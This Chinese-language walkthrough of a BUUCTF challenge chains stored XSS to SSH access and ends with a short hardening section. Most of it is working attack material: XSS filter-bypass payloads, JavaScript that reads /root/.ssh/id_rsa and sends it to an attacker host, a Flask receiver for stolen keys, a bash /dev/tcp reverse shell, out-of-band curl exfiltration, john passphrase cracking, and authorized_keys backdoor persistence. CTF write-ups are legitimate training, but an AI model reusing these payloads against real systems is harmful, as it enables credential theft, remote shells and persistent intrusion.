
1. 项目概述一次从边界到核心的渗透实战复盘最近在BUUCTF平台上打靶遇到一道很有意思的题目它把SSH登录和XSS漏洞利用这两个看似不相关的点串联在了一起形成了一条完整的攻击链。这不仅仅是CTF解题更像是一次小型红队渗透的缩影。很多刚接触安全的朋友可能对SSH的理解还停留在“远程登录工具”对XSS的印象是“弹个窗的Web漏洞”但实战中它们往往是突破边界、横向移动、权限提升的关键拼图。这道题就完美地展示了这一点如何从一个看似无害的Web前端输入点XSS一步步拿到后端服务器的SSH访问权限最终夺取目标控制权。整个过程涉及信息收集、漏洞利用、权限维持和隧道技术非常值得深入拆解。无论你是CTF爱好者还是想了解真实渗透测试中漏洞链的构建这篇复盘都能给你带来不少启发。2. 靶场环境与核心思路拆解2.1 题目场景与初步侦察题目通常提供一个Web应用入口。第一步永远是信息收集。打开靶机IP对应的Web页面可能是一个简单的留言板、博客评论框或者用户资料编辑页面。用浏览器开发者工具快速查看页面源码、网络请求和Cookie信息是基本操作。这里的关键是寻找任何可能的用户输入点搜索框、评论框、用户名、个人简介等。同时留意页面是否有其他功能链接比如“管理后台”、“查看日志”之类的这些往往是后续利用的目标。在本题的设定中初步侦察发现了一个存在存储型XSS漏洞的评论功能。用户输入的内容会被保存并显示给其他用户尤其是管理员查看。这是我们的攻击起点。但我们的目标不是弹窗而是拿到服务器的SSH权限。所以核心思路就变成了利用XSS漏洞让访问页面的管理员浏览器执行我们恶意构造的JavaScript代码从而以管理员身份进行后续操作最终窃取或构造出SSH的登录凭据如私钥、密码并建立一条从攻击机到靶机的SSH连接通道。2.2 攻击链逻辑推演为什么XSS能通向SSH这中间需要几个逻辑跳跃也是本题的精华所在权限假设我们假设通常题目也会如此设定Web应用的后台管理功能与Web服务器本身位于同一台主机上。管理员通过浏览器管理后台其浏览器环境与服务器存在某种联系如同源策略下的Cookie、Session。同源策略与权限提升通过XSS我们能在管理员会话的上下文中执行JavaScript。这意味着我们的代码可以访问该域名下的所有资源包括可能存在的、仅管理员可见的后台API接口或功能页面。从Web到系统后台功能可能包含一些系统级操作例如“服务器状态查看”、“日志文件下载”、“执行系统命令”如果存在Web命令行接口或配置不当。我们的目标就是利用XSS操纵管理员的浏览器去触发这些功能。SSH凭据获取常见的攻击路径有读取服务器上的SSH私钥尝试让恶意JS通过后台功能读取/home/[用户名]/.ssh/id_rsa或/root/.ssh/id_rsa等文件。窃取Session或Cookie尝试登录Web SSH客户端有些管理面板集成了基于Web的SSH终端例如wetty,shellinabox通过窃取相关Cookie可能直接获得终端访问权。利用后台功能写入SSH公钥如果后台有文件上传或配置修改功能可能被利用来将攻击者的SSH公钥写入目标服务器的~/.ssh/authorized_keys文件中从而实现免密登录。命令执行反弹Shell最直接的方式如果存在命令执行点直接让服务器反弹一个Shell回攻击机再在Shell中创建SSH后门或直接操作。本题的典型路径是XSS - 利用管理员权限访问后台命令执行接口 - 执行命令读取SSH私钥或反弹Shell - 通过私钥或Shell获得SSH访问权限。3. XSS漏洞利用载荷的精心构造3.1 基础探测与绕过首先我们需要确认XSS漏洞的存在并测试过滤规则。在评论框输入经典的探测载荷scriptalert(1)/script img srcx onerroralert(1)如果弹窗成功说明存在XSS。但CTF题目通常会有简单的过滤比如过滤了script、onerror等关键词。我们需要尝试绕过。常见方法有大小写混淆ScRiPtalert(1)/sCrIpT标签属性分割img srcx onerroralert(1)利用空格、换行、Tab分割使用其他标签和事件svg onloadalert(1)、body onloadalert(1)编码绕过HTML实体编码、JS编码等。例如输入img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;浏览器解码后仍会执行。在本题环境中经过测试发现直接使用script标签和onerror事件可能被拦截但img标签的src属性指向一个不存在的资源配合onerror事件执行JS代码的方式在经过适当的编码或分割后可以成功触发。这是我们的突破口。3.2 构建窃取信息的XSS载荷单纯的弹窗没有意义。我们的目标是让管理员的浏览器执行能窃取敏感信息的代码。这里我们需要让恶意JS代码访问同源下的其他资源。常用的方法是利用XMLHttpRequest或现代的fetchAPI发起AJAX请求。假设我们通过信息收集猜测后台有一个查看系统文件的接口路径可能是/admin/file?path/etc/passwd。我们可以构造如下载荷img srcx onerror var xhr new XMLHttpRequest(); xhr.open(GET, /admin/file?path/root/.ssh/id_rsa, false); // 同步请求方便后续处理 xhr.send(); if(xhr.status 200) { // 将读取到的私钥发送到我们的接收服务器 var steal new Image(); steal.src http://我的攻击机IP:端口/steal?key encodeURIComponent(xhr.responseText); } 这段代码做了几件事创建一个同步的AJAX请求尝试读取/root/.ssh/id_rsaroot用户的SSH私钥。如果请求成功状态码200则将私钥内容通过一个Image对象的src属性发送到我们控制的服务器上。这是一种常见的向外发送数据的方式因为它不受同源策略限制img标签可以跨域。注意在实际操作中使用同步请求(false)可能会因为网络延迟或目标接口响应慢而导致浏览器标签页“卡死”引起管理员怀疑。更隐蔽的做法是使用异步请求并结合Promise或async/await但代码会更复杂。在CTF场景下同步请求简单直接。3.3 建立接收服务器与载荷最终封装我们需要一台具有公网IP的服务器来接收窃取的数据。最快速的方法是使用Python启动一个简单的HTTP服务器# 在攻击机上执行 python3 -m http.server 8888这会监听本机8888端口。但这样只能接收GET请求且日志在控制台。为了更好地区分和记录数据可以写一个简单的Flask应用from flask import Flask, request app Flask(__name__) app.route(/steal) def steal(): stolen_data request.args.get(key, ) print(f[] Stolen SSH Key Received:\n{stolen_data}) with open(stolen_key.txt, a) as f: f.write(stolen_data \n---\n) return OK if __name__ __main__: app.run(host0.0.0.0, port8888)运行这个脚本我们的接收服务器就准备好了。现在将完整的XSS载荷进行URL编码然后提交到靶场的评论框。由于评论框可能对长度和特殊字符有额外限制我们可能需要将载荷缩短。一个技巧是使用外部JS文件。我们可以将复杂的窃取逻辑写在一个JS文件中托管在我们的服务器上例如http://攻击机IP/payload.js然后XSS载荷只需引用它script srchttp://攻击机IP/payload.js/scriptpayload.js内容fetch(/admin/file?path/root/.ssh/id_rsa) .then(response response.text()) .then(keyData { fetch(http://攻击机IP:8888/steal?key${encodeURIComponent(keyData)}); });这种方式更隐蔽也便于维护和迭代攻击脚本。4. 从窃取私钥到SSH登录的完整过程4.1 私钥处理与权限验证假设我们的攻击成功了接收服务器stolen_key.txt文件里收到了类似以下内容-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn ... (省略大量Base64编码数据) ... -----END OPENSSH PRIVATE KEY-----这就是SSH的私钥。首先将其保存为一个文件例如id_rsa。然后需要修改其权限SSH客户端对私钥文件的权限有严格要求chmod 600 id_rsa接下来尝试用这个私钥登录靶机。我们需要知道用户名。常见的思路有尝试常见用户名root,ubuntu,admin,ctf,test等。回顾之前的信息收集Web应用是否暴露了用户名比如文章作者、评论者名称。如果我们之前还窃取了/etc/passwd文件可以从中提取所有登录shell的用户/bin/bash或/bin/sh。登录命令如下ssh -i id_rsa username靶机IP-i选项指定使用的私钥文件。4.2 应对加密的私钥与密码爆破有时私钥是被密码passphrase加密保护的。当你尝试登录时会提示你输入密码Enter passphrase for key id_rsa:这就需要我们进行密码破解。可以使用johnJohn the Ripper工具。首先用ssh2john将私钥转换成john可识别的格式ssh2john id_rsa id_rsa.hash然后使用john进行破解。可以先用自带的密码字典试试john --wordlist/usr/share/wordlists/rockyou.txt id_rsa.hash如果rockyou.txt不行可能需要结合题目上下文猜测密码比如靶场名称、题目提示等或者使用更强大的字典。4.3 登录成功与Flag获取如果私钥无误且无密码或密码破解成功我们将成功登录到靶机的SSH会话中。第一时间应该检查当前用户权限whoami id sudo -lsudo -l命令可以查看当前用户允许以root权限执行哪些命令这可能是下一步提权的关键。通常CTF的flag文件位于根目录、用户家目录或某个特定目录下文件名可能是flag、flag.txt、flag.php等。使用find命令快速定位find / -name *flag* 2/dev/null find / -type f -exec grep -l “flag{” {} \; 2/dev/null找到flag文件后用cat命令读取即可完成挑战。5. 利用XSS进行命令执行与直接反弹Shell5.1 探测命令执行接口获取私钥是一种方式但更通用的方法是直接让服务器执行命令。这要求后台存在命令执行的功能点。我们的XSS载荷需要去探测和调用这个接口。假设我们通过某种方式如目录扫描、源码泄露得知后台有一个/admin/exec的接口通过GET参数cmd传递要执行的命令。那么我们的恶意JS代码就需要构造请求到这个接口。为了更隐蔽我们可以让管理员浏览器访问一个伪造的“内部管理页面”这个页面其实是我们控制的里面嵌入了自动执行命令的脚本。但更直接的方式还是通过AJAX。改进后的payload.js// 尝试执行命令将结果发送回来 function executeCmd(cmd) { fetch(/admin/exec?cmd${encodeURIComponent(cmd)}) .then(response response.text()) .then(result { // 将命令结果发送到我们的服务器 fetch(http://攻击机IP:8888/log?cmd${encodeURIComponent(cmd)}result${encodeURIComponent(result)}); }); } // 执行一系列探测命令 executeCmd(whoami); executeCmd(pwd); executeCmd(ls -la /); executeCmd(cat /etc/passwd); // 尝试查找SSH相关文件 executeCmd(find / -name id_rsa 2/dev/null); executeCmd(find / -name authorized_keys 2/dev/null); executeCmd(cat ~/.ssh/id_rsa);5.2 构造反弹Shell命令如果命令执行存在并且我们发现当前Web服务进程具有较高权限如root或www-data但能sudo那么最有效的就是直接让靶机向我们攻击机反弹一个Shell。首先在攻击机上用ncNetcat监听一个端口nc -lvnp 4444然后构造反弹Shell的命令。由于命令是通过URL参数传递的需要特别注意特殊字符的URL编码。常见的bash反弹Shell命令为bash -c bash -i /dev/tcp/攻击机IP/4444 01我们需要将其编码后放入JS的fetch请求中。在JavaScript中可以使用encodeURIComponent函数。最终在payload.js中var attackerIP 攻击机IP; var attackerPort 4444; var reverseShellCmd bash -c bash -i /dev/tcp/${attackerIP}/${attackerPort} 01; var encodedCmd encodeURIComponent(reverseShellCmd); fetch(/admin/exec?cmd${encodedCmd}).catch(e console.log(e));当管理员触发XSS这段代码执行后我们的nc监听器就会收到一个来自靶机的Shell连接。在这个Shell里我们可以做任何事情包括安装后门、添加SSH密钥等从而获得更稳定的SSH访问。5.3 写入SSH公钥实现免密登录在获得命令执行能力无论是通过反弹Shell还是之前的接口后一个优雅的权限维持方法是写入SSH公钥。首先在攻击机上生成一对新的SSH密钥如果还没有ssh-keygen -t rsa -f ./ctf_key这会在当前目录生成ctf_key私钥和ctf_key.pub公钥。然后在获得的Shell中执行以下命令将公钥写入靶机目标用户比如root的authorized_keys文件echo “你的公钥内容” /root/.ssh/authorized_keys # 并确保权限正确 chmod 600 /root/.ssh/authorized_keys chmod 700 /root/.ssh“你的公钥内容”就是ctf_key.pub文件里的整行字符串。可以通过命令组合一步完成# 在攻击机Shell中将公钥内容通过管道和base64编码后传递 cat ctf_key.pub | base64 | tr -d \n # 复制输出的base64字符串 # 在靶机Shell中解码并写入 echo “上一步复制的base64字符串” | base64 -d /root/.ssh/authorized_keys完成后就可以直接用私钥登录了ssh -i ctf_key root靶机IP6. 实战中可能遇到的问题与排查技巧6.1 XSS不触发或触发失败问题提交了XSS载荷但没有任何反应没有请求发到我们的服务器。排查检查载荷语法将XSS代码在浏览器控制台先测试一遍看是否有JS错误。检查过滤查看页面返回的HTML看我们的输入是否被过滤、转义或截断。可能需要对载荷进行多次编码或使用更冷门的标签事件。检查同源策略确保我们的恶意JS试图访问的资源如/admin/file与当前页面同源。如果目标是其他子域名或端口可能需要其他技术如CORS配置错误、JSONP劫持等本题通常设定为同源。管理员触发时机存储型XSS需要管理员“查看”包含恶意评论的页面才会触发。有些题目是自动触发有bot有些则需要等待或寻找其他方式引诱管理员访问。6.2 接收服务器收不到数据问题XSS应该触发了但我们的Flask服务器没有收到GET请求。排查网络连通性确保攻击机的8888端口在公网可访问CTF平台通常提供公网IP或使用ngrok等内网穿透工具。在靶场环境可能需要在启动Flask时指定host0.0.0.0。防火墙检查攻击机防火墙是否放行了8888端口。查看浏览器网络请求如果条件允许比如题目环境提供了浏览器模拟器查看管理员浏览器发出的网络请求确认请求是否真的发向了正确的地址。载荷中的地址错误仔细检查JS代码中http://攻击机IP:端口是否写错。6.3 SSH私钥登录失败问题ssh -i id_rsa userip提示“Permission denied (publickey)”.排查私钥格式确认私钥是完整的OpenSSH格式。有时复制粘贴会丢失换行符。确保-----BEGIN和-----END标记完整中间内容完整。文件权限务必执行chmod 600 id_rsa。用户名错误尝试不同的用户名。可以尝试用窃取的/etc/passwd文件中的用户名列表。私钥被加密使用ssh-keygen -y -f id_rsa测试如果提示输入密码说明有密码。服务器端配置靶机可能禁用了密码或密钥登录或者.ssh/authorized_keys文件权限不对不能有写权限给组或其他人。这通常在CTF环境中较少见但真实环境会遇到。6.4 命令执行无回显或结果被过滤问题通过/admin/exec执行了命令但我们的服务器没收到回显或者回显是空的。排查与绕过无回显命令执行尝试使用带外OOB技术。例如执行ping或curl命令让靶机主动连接我们的服务器通过DNS查询或HTTP请求携带命令执行结果。cmdcurl http://攻击机IP:8888/$(whoami|base64)cmdping $(whoami|base64|tr -d ).攻击机域名需要配合DNS日志记录结果被过滤可能过滤了空格、特定字符如/,cat。需要尝试绕过空格绕过用${IFS}、%09Tab、、代替。命令分隔用;、、||、%0a换行执行多条命令。命令替换cat flag可以换成more flag,less flag,head flag,tail flag,nl flag,awk {print} flag,strings flag。通配符cat f*。内联执行echo $(flag)。7. 防御视角与安全加固建议从这道题目反推作为防御方开发或运维应该如何避免此类漏洞链前端输入处理对用户输入进行严格的过滤和转义。根据输出上下文HTML、JS、URL采用不同的编码方式。使用成熟的库如OWASP ESAPI、DOMPurify而不是自己写正则。实施内容安全策略CSP通过HTTP头Content-Security-Policy限制页面可以加载和执行脚本的来源能极大缓解XSS的危害。后端权限与接口设计最小权限原则Web应用进程如www-data不应具有读取/root/.ssh/目录或执行任意系统命令的权限。严格的访问控制后台管理接口必须进行强身份验证和会话管理不能仅靠前端隐藏或Cookie。避免直接命令执行除非绝对必要否则不要提供Web到系统命令的接口。如果必须应使用白名单机制限制可执行的命令和参数。系统层面SSH加固禁用root密码登录仅允许密钥认证。使用非标准端口。使用Fail2ban防止暴力破解。定期更新与审计及时更新系统和应用软件。定期审计服务器上的文件权限和可疑进程。网络隔离将Web服务器、数据库、管理后台等部署在不同的网络分区限制横向移动的可能性。安全意识管理员不要使用特权账户浏览不可信的网页或邮件。对用户提交的内容尤其是富文本、评论保持高度警惕。通过这道BUUCTF题目的深度解析我们可以看到一个看似简单的XSS漏洞在缺乏纵深防御的体系中可能成为撕开整个系统防线的起点。从Web前端到系统后端的完整攻击链剖析不仅对CTF解题有帮助更能加深我们对真实世界攻防的理解。在渗透测试中这种串联多种漏洞、跨越不同层面的攻击思路才是真正体现技术深度的所在。